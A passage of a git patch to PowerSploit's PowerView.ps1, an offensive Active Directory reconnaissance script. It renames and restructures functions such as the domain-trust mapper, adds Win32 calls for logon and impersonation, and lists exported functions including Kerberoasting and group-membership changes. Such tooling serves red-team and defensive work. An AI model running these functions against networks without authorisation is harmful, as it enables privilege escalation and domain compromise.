$_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } } } - else { - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } } -function Find-ManagedSecurityGroups { +function Get-DomainTrustMapping { <# - .SYNOPSIS +.SYNOPSIS - This function retrieves all security groups in the domain and identifies ones that - have a manager set. It also determines whether the manager has the ability to add - or remove members from the group. +This function enumeartes all trusts for the current domain and then enumerates +all trusts for each domain it finds. - Author: Stuart Morgan (@ukstufus) - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust - .EXAMPLE +.DESCRIPTION - PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. - Store a list of all security groups with managers in group-managers.csv +.PARAMETER API - .DESCRIPTION +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. - Authority to manipulate the group membership of AD security groups and distribution groups - can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically - used to delegate management authority to distribution groups, but Windows supports security groups - being managed in the same way. +.PARAMETER LDAP - This function searches for AD groups which have a group manager set, and determines whether that - user can manipulate group membership. This could be a useful method of horizontal privilege - escalation, especially if the manager can manipulate the membership of a privileged group. +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - .LINK +.PARAMETER LDAPFilter - https://github.com/PowerShellEmpire/Empire/pull/119 +Specifies an LDAP query string that is used to filter Active Directory objects. -#> +.PARAMETER Properties - # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { +Specifies the properties of the output object to retrieve from the server. - # Retrieve the object that the managedBy DN refers to - $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname +.PARAMETER SearchBase - # Create a results object to store our findings - $results_object = New-Object -TypeName PSObject -Property @{ - 'GroupCN' = $_.cn - 'GroupDN' = $_.distinguishedname - 'ManagerCN' = $group_manager.cn - 'ManagerDN' = $group_manager.distinguishedName - 'ManagerSAN' = $group_manager.samaccountname - 'ManagerType' = '' - 'CanManagerWrite' = $FALSE - } +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - # Determine whether the manager is a user or a group - if ($group_manager.samaccounttype -eq 0x10000000) { - $results_object.ManagerType = 'Group' - } elseif ($group_manager.samaccounttype -eq 0x30000000) { - $results_object.ManagerType = 'User' - } +.PARAMETER Server - # Find the ACLs that relate to the ability to write to the group - $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers +Specifies an Active Directory server (domain controller) to bind to. - # Double-check that the manager - if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { - $results_object.CanManagerWrite = $TRUE - } - $results_object - } -} +.PARAMETER SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). -function Invoke-MapDomainTrust { -<# - .SYNOPSIS +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv - This function gets all trusts for the current domain, - and tries to get all trusts for each domain it finds. +Map all reachable domain trusts using .NET methods and output everything to a .csv file. - .PARAMETER LDAP +.EXAMPLE - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv - .PARAMETER DomainController +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER PageSize +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv - The PageSize to set for the LDAP searcher object. +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries, +and output everything to a .csv file. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv - .EXAMPLE +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. - PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv - - Map all reachable domain trusts and output everything to a .csv file. +.OUTPUTS - .LINK +PowerView.DomainTrust.NET - http://blog.harmj0y.net/ +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. #> - [CmdletBinding()] - param( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'LDAP')] [Switch] $LDAP, + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) # keep track of domains seen so we don't hit infinite recursion @@ -13198,73 +17930,74 @@ function Invoke-MapDomainTrust { # our domain status tracker $Domains = New-Object System.Collections.Stack + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['LDAP']) { $DomainTrustArguments['LDAP'] = $LDAP } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain -Credential $Credential).Name - $Domains.push($CurrentDomain) + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) while($Domains.Count -ne 0) { $Domain = $Domains.Pop() # if we haven't seen this domain before - if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { - - Write-Verbose "Enumerating trusts for domain '$Domain'" + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list - $Null = $SeenDomains.add($Domain, "") + $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain - if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential - } - else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential - } + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments - if($Trusts -isnot [System.Array]) { + if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist - if(-not ($LDAP -or $DomainController) ) { - $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { - if($Trusts -isnot [System.Array]) { + if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { - if($Trust.SourceName -and $Trust.TargetName) { - $SourceDomain = $Trust.SourceName - $TargetDomain = $Trust.TargetName - $TrustType = $Trust.TrustType - $TrustDirection = $Trust.TrustDirection - $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 - + if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target - $Null = $Domains.Push($TargetDomain) - - # build the nicely-parsable custom output object - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" - $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" - $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" - $DomainTrust.PSObject.TypeNames.Add($ObjectType) - $DomainTrust + $Null = $Domains.Push($Trust.TargetName) + $Trust } } } } catch { - Write-Verbose "[!] Error: $_" + Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } @@ -13274,33 +18007,15 @@ function Invoke-MapDomainTrust { ######################################################## # # Expose the Win32API functions and datastructures below -# using PSReflect. -# Warning: Once these are executed, they are baked in +# using PSReflect. +# Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), - (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), - (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) -) +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ @@ -13317,7 +18032,7 @@ $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ } # the WTSEnumerateSessionsEx result structure -$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 @@ -13335,26 +18050,26 @@ $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ } # the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure -$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ - wkui1_username = field 0 String -MarshalAs @('LPWStr') - wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') - wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') - wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure -$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ - sesi10_cname = field 0 String -MarshalAs @('LPWStr') - sesi10_username = field 1 String -MarshalAs @('LPWStr') - sesi10_time = field 2 UInt32 - sesi10_idle_time = field 3 UInt32 +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below @@ -13370,6 +18085,12 @@ $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeComputer = 9 } +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr @@ -13414,7 +18135,101 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ DomainGuid = field 7 Guid } +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Test-AdminAccess Invoke-CheckLocalAdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index a1702182..64953b0b 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -23,83 +23,83 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Add-NetGroupUser', - 'Add-NetUser', - 'Add-ObjectAcl', - 'Convert-NameToSid', - 'Convert-SidToName', + 'Export-PowerViewCSV', + 'Resolve-IPAddress', + 'ConvertTo-SID', + 'ConvertFrom-SID', 'Convert-ADName', 'ConvertFrom-UACValue', - 'Export-PowerViewCSV', - 'Find-ComputerField', - 'Find-ForeignGroup', - 'Find-ForeignUser', - 'Find-GPOComputerAdmin', - 'Find-GPOLocation', - 'Find-InterestingFile', - 'Find-LocalAdminAccess', - 'Find-ManagedSecurityGroups', - 'Find-UserField', - 'Get-ADObject', - 'Get-CachedRDPConnection', - 'Get-ComputerDetails', - 'Get-ComputerProperty', - 'Get-DFSshare', - 'Get-DNSRecord', - 'Get-DNSZone', - 'Get-DomainPolicy', + 'Add-RemoteConnection', + 'Remove-RemoteConnection', + 'Invoke-UserImpersonation', + 'Invoke-RevertToSelf', + 'Get-DomainSPNTicket', + 'Invoke-Kerberoast', + 'Get-PathAcl', + 'Get-DomainDNSZone', + 'Get-DomainDNSRecord', + 'Get-Domain', + 'Get-DomainController', + 'Get-Forest', + 'Get-ForestDomain', + 'Get-ForestGlobalCatalog', + 'Find-DomainObjectPropertyOutlier', + 'Get-DomainUser', + 'New-DomainUser', + 'Get-DomainUserEvent', + 'Get-DomainComputer', + 'Get-DomainObject', + 'Set-DomainObject', + 'Get-DomainObjectAcl', + 'Add-DomainObjectAcl', + 'Find-InterestingDomainAcl', + 'Get-DomainOU', + 'Get-DomainSite', + 'Get-DomainSubnet', 'Get-DomainSID', - 'Get-ExploitableSystem', - 'Get-GUIDMap', - 'Get-HttpStatus', - 'Get-IPAddress', - 'Get-LastLoggedOn', - 'Get-LoggedOnLocal', - 'Get-NetComputer', - 'Get-NetDomain', - 'Get-NetDomainController', - 'Get-NetDomainTrust', - 'Get-NetFileServer', - 'Get-NetForest', - 'Get-NetForestCatalog', - 'Get-NetForestDomain', - 'Get-NetForestTrust', - 'Get-NetGPO', - 'Get-NetGPOGroup', - 'Get-NetGroup', - 'Get-NetGroupMember', + 'Get-DomainGroup', + 'New-DomainGroup', + 'Get-DomainManagedSecurityGroup', + 'Get-DomainGroupMember', + 'Add-DomainGroupMember', + 'Get-DomainFileServer', + 'Get-DomainDFSShare', + 'Get-DomainGPO', + 'Get-DomainGPOLocalGroup', + 'Get-DomainGPOUserLocalGroupMapping', + 'Get-DomainGPOComputerLocalGroupMapping', + 'Get-DomainPolicy', 'Get-NetLocalGroup', + 'Get-NetLocalGroupMember', + 'Get-NetShare', 'Get-NetLoggedon', - 'Get-NetOU', - 'Get-NetProcess', - 'Get-NetRDPSession', 'Get-NetSession', - 'Get-NetShare', - 'Get-NetSite', - 'Get-NetSubnet', - 'Get-NetUser', - 'Get-ObjectAcl', - 'Get-PathAcl', - 'Get-Proxy', - 'Get-RegistryMountedDrive', - 'Get-SiteName', - 'Get-UserEvent', - 'Get-UserProperty', - 'Invoke-ACLScanner', - 'Invoke-CheckLocalAdminAccess', - 'Invoke-DowngradeAccount', - 'Invoke-EnumerateLocalAdmin', - 'Invoke-EventHunter', - 'Invoke-FileFinder', - 'Invoke-MapDomainTrust', + 'Get-RegLoggedOn', + 'Get-NetRDPSession', + 'Test-AdminAccess', + 'Get-NetComputerSiteName', + 'Get-WMIRegProxy', + 'Get-WMIRegLastLoggedOn', + 'Get-WMIRegCachedRDPConnection', + 'Get-WMIRegMountedDrive', + 'Get-WMIProcess', + 'Find-InterestingFile', + 'Find-DomainUserLocation', + 'Find-DomainProcess', + 'Find-DomainUserEvent', + 'Find-DomainShare', + 'Find-InterestingDomainShareFile', + 'Find-LocalAdminAccess', + 'Get-DomainLocalGroupMember', + 'Get-DomainTrust', + 'Get-ForestTrust', + 'Get-DomainForeignUser', + 'Get-DomainForeignGroupMember', + 'Get-DomainTrustMapping', + 'Get-ComputerDetails', + 'Get-HttpStatus', 'Invoke-Portscan', - 'Invoke-ProcessHunter', - 'Invoke-ReverseDnsLookup', - 'Invoke-ShareFinder', - 'Invoke-UserHunter', - 'New-GPOImmediateTask', - 'Request-SPNTicket', - 'Set-ADObject' + 'Invoke-ReverseDnsLookup' ) # List of all files packaged with this module From 32bd21e3355705ea967b35ef2608c74679608e73 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 19:02:26 -0500 Subject: [PATCH 204/296] bug fix in Get-DomainSearcher --- Recon/PowerView.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 864adc5c..af2d36d0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2976,6 +2976,9 @@ System.DirectoryServices.DirectorySearcher throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" } } + else { + $BindServer = $Server + } $SearchString = 'LDAP://' @@ -3035,6 +3038,7 @@ System.DirectoryServices.DirectorySearcher $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All if ($PSBoundParameters['ServerTimeLimit']) { $Searcher.ServerTimeLimit = $ServerTimeLimit @@ -18214,7 +18218,7 @@ Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation 